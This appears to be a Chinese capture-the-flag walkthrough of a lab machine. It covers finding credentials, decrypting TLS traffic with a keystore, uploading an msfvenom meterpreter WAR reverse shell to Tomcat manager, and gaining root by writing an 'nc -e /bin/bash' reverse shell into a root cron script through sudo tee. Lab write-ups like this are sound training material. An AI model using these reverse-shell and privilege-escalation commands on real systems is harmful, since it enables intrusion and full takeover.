1 环境准备
-
win10系统,安装bp;wireshark
-
根据提示,靶机设置为仅主机模式,网段192.168.110.0,靶机ip为静态192.168.110.140

-
一台kali(192.168.198.172),设置为nat模式,可以连接靶机。
-
一台kali(192.168.110.128),设置为仅主机模式。
2 信息搜集
扫描端口:
bash
nmap -T4 -A -v 192.168.110.140

出来的端口有很多,尝试从80端口入手,访问80端口进入到网站主页:

查看网页源代码:

发现一段编码,尝试解码:

将base64的解码结果再一次解码:

可以发现,经过两次base64解码后的结果可能是某一个用户名和密码。
cpp
pgibbons:damnitfeel$goodtobeagang$ta
网站图片可以访问,进入到图片链接

先进入到 Employee portal ,进入到cms系统:

对impresscms页面尝试指纹识别:
bash
whatweb -v http://192.168.110.140/impresscms/

并没有找到cms的版本,但是可以清楚服务器运行的是带有Apache 2.4.7版本的Ubuntu Linux。 这里可以尝试msf搜索impresscms的漏洞数据利用,但是都不能成功。
用刚才发现的用户名和密码登录,可以成功进入到后台页面:

在Inbox中的第三个信中可以下载keystore


主页面找到Content,可以下载.pcap流量包文件:

同时注意到评论中的重要信息:They told me the alias, storepassword and keypassword are all set to 'tomcat'.
3 流量解密
提取证书,根据提示密码是tomcat
bash
keytool -importkeystore -srckeystore /root/下载/keystore -destkeystore /root/下载/tomcat.p12 -deststoretype PKCS12 -srcalias tomcat
将证书添加到wireshark中解密流量


发现访问的地址:https://192.168.110.140:8443/_M@nag3Me/html
这个地址不能直接用浏览器访问,只有结合bp绕过浏览器证书,访问该地址

发现一个登录页面,回到刚才的流量数据包,可以找到传输的用户名和密码:

XML
tomcat:Tt\5D8F(#!*u=G)4m7zB
成功登录,进入到tomcat后台管理。
4 建立反弹连接
在后台管理中可以上传WAR文件,这里可以上传一个反弹连接的war包建立反弹连接。
用NAT模式下的kali生成payload
bash
msfvenom -p java/meterpreter/reverse_tcp lhost=192.168.110.128 lport=4444 -f war -o kali.war
如果是在windows主机上安装的bp,可以通过XFTP把payload传到windows机器上。
在仅主机模式的kali机器上,监听端口 4444
bash
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.110.128
set LPORT 4444
exploit
在这里将生成好的kali.war传上去,然后访问。注意用bp放包要快,防止被靶机安全措施清理。

成功反弹连接:

获得交互式 shell
bash
python -c 'import pty;pty.spawn("/bin/bash")'
5 提权
查看操作系统版本

查找漏洞
内核版本是 4.2.0 没有找到匹配的。
进入apache网站根目录 /var/www

进入5446文件,发现两个php文件:

获得数据库root用户,密码是空的,直接进入数据库



查询user表的用户密码
将milton用户密码通过md5解密

尝试使用该密码登录用户操作系统,可以成功登录,根目录下有.sh文件,但是没有有用信息。
查看该用户的历史命令

这个用户进入到 blumbergh 用户,需要找到 blumbergh 用户的密码。
可以通过扫描发现网站有一个目录为images

将这个页面的图片全部下载下来分析:

用 strings 分析 bill.png,找到密码为 coffeestains

根据这个密码切换到 blumbergh用户,查看历史命令

有一个 tidyup.sh 的脚本

这个脚本是一种防御措施,而且只有root用户可以修改,每3分钟运行一次,在/var/lib/tomcat6/webapps
目录下,使用find
命令在swingline
目录中查找所有子目录和文件(从第一层到第十层),然后通过xargs rm -rf
命令将找到的文件和目录删除。这个操作会删除我们上传的war包。
查看哪些用户有 sudo 权限

使用 tee 命令,双向重定向,可以实现覆盖文件内容。
准备一个反弹连接内容:
bash
echo "nc -e /bin/bash 192.168.110.128 5555" > shell.txt
bash
cat shell.txt | sudo /usr/bin/tee /usr/share/cleanup/tidyup.sh
成功拿到root
